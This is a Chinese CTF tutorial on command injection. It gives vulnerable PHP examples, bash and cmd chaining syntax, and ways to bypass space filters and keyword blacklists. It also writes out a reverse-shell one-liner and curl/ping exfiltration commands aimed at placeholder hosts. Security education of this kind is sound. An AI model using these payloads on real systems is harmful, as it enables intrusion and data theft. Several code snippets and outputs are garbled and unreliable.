命令注入
1.什么是命令注入
通常情况下,开发者使用一些可以执行命令的函数且未对用户输入进行安全检查时,可以造成命令注入。从CTF的角度来讲, 命令注入可以实现:
1、直接读取flag
2、反弹shell
3、利用题目环境漏洞, 控制整个题目环境, 干扰其他队伍解题
在各类编程语言中, 都存在直接调用系统命令的函数, 比如PHP的system函数, Python的os.system, Java的Runtime.exec都可以直接执行系统命令。
一旦将用户输入的作为这些危险函数的参数,并过滤不严格,那么就造成了命令注入漏洞.
2.命令注入基本原理
(1).下面这段PHP代码会将用户输入的name,通过echo系统命令打印出来。
```php
<?php
$name = $_GET['name'];
system('echo '.$_name);
```
比如用户输入一个"crane 123",页面就会产生"crane 123"的回显。
但是如果用户输入为 "abc;whoami", 其中的分号 ";" 就会作为bash命令的分割符, bash会先执行 echo abc 再执行 whoami 这个命令。这就是一个非常典型的命令注入。
(2).在进行命令注入之前,需要掌握bash或cmd的基础语法,了解他们的异同点。
①、转义字符Windows cmd的转义字符为"^", Linux bash的转义字符为"/"
C:Users\crane>echo 123 && secho 123
123
123
C:Users\crane>echo 123 ^&^& echo 123
123 && echo 123
②多条命令执行
在一个字符串中执行多条命令是命令注入最主要的手法。
在cmd中,可以使用&&, ||,%0a (%0a是回车)
在bash中,可以使用&&,||, ; ,(),\`\`,%0a。(()里的内容会先执行一次,再把执行结果当成字符串放在外面)
在bash中,被双引号包裹的$()、`仍然可以执行命令,但被单引号包裹,只会被识别为普通字符串。(命令注入时需要关心是命令还是字符串)
③注释符号
利用注释符号可以避免在命令注入过程中,由于多余参数造成的错误。
在cmd中的注释符号"::"或者"rem",只能在命令开始使用
在bash中注释符号为"#",需要注意的是,#前面需要有一个空格
3.命令注入的绕过
在进行命令注入的过程中,可能会遇到各种限制,以下主要针对Linux中的bash环境进行介绍
1.禁止使用空格
对于下面的PHP代码,会将空格替换为空。
```php
<?php
cmd = str _replace(" "," ",_GET['cmd']);
system("echo $cmd");
```
但实际上,发挥空格作用的不止"x20',这一个字符。'\x09','\x0b','x0c'都可以作为分隔符
如果将所有表示空白的字符都禁用,还可以使用(IFS)或IFS$9来表示空格
(在bash中IFS是一个环境变量,用于表示分隔符,一般为空格。但如果直接使用IFS,会导致IFS与后面的字符连接在一起无法识别,因此可以添加一个9,表示当前shell的第9个字符,一般为空字符。就可以将IFS与其他字符分隔开。或者使用{IFS},也可以正确识别。在bash中还可以使用{cmd,arg1,arg2...}的方式执行命令。)
2.字符黑名单
如果题目对cat,flag等字符串进行拦截,可以采用变量拼接的方法。
[crane8x88 6]a=ca;b=t;c=fl;d=ag;ab /c$d
flagithis-is-a-test-flag}
[cranee8x80 6]$
或者可以使用通配符,在bash中,"?"表示单个字符,"*"表示多个字符,可以控制字符数量
[cranee0x80 6]$ cat /????
cat: /boot:Is a directory
flagithis-is-a-test-flag}
cat: /hone: Is a directory
cat:/proc: Is a directory
cat:/root: Permission denied
cat:/sbin:Is a directory
或者可以使用substr等函数截取字符串,再拼接出所需的命令
3.数据外带
在某些情况下,执行的命令可能不会直接回显在网页中,这时就需要找到其他途径外带数据。在无回显的情况下,第一需要先尝试的就是反弹shell。在bash中可以使用
"bash -i>& /dev/tcp/x.x.x.x/port 0>&1"将bash的输入输出重定向到远程端口,需要注意的是''/dev/tcp/x.x.x.x/port"这种写法只在bash中有效,因此在外层shell不是bash的情况下,需要使用bash-c"bash -i>&/dev/tcp/x.x.x.x/port 0>&1的写法
通过HTTP或DNS外带,在反弹shell失败的情况下,可以尝试HTTP或DNS外带
比如"curl http://server/\`whoami\`"或者"ping -nc 1 `whoami`.server.com"
如果发现目标机器无法连接外网,那么可以采用时间盲注的方法,与sql的盲注类似利用sleep进行延时,来逐字符判断.
如果目标存在可写入的web文件,那么可以采用复制需要的文件到web目录下,然后通过HTTP进行访问的方法获取结果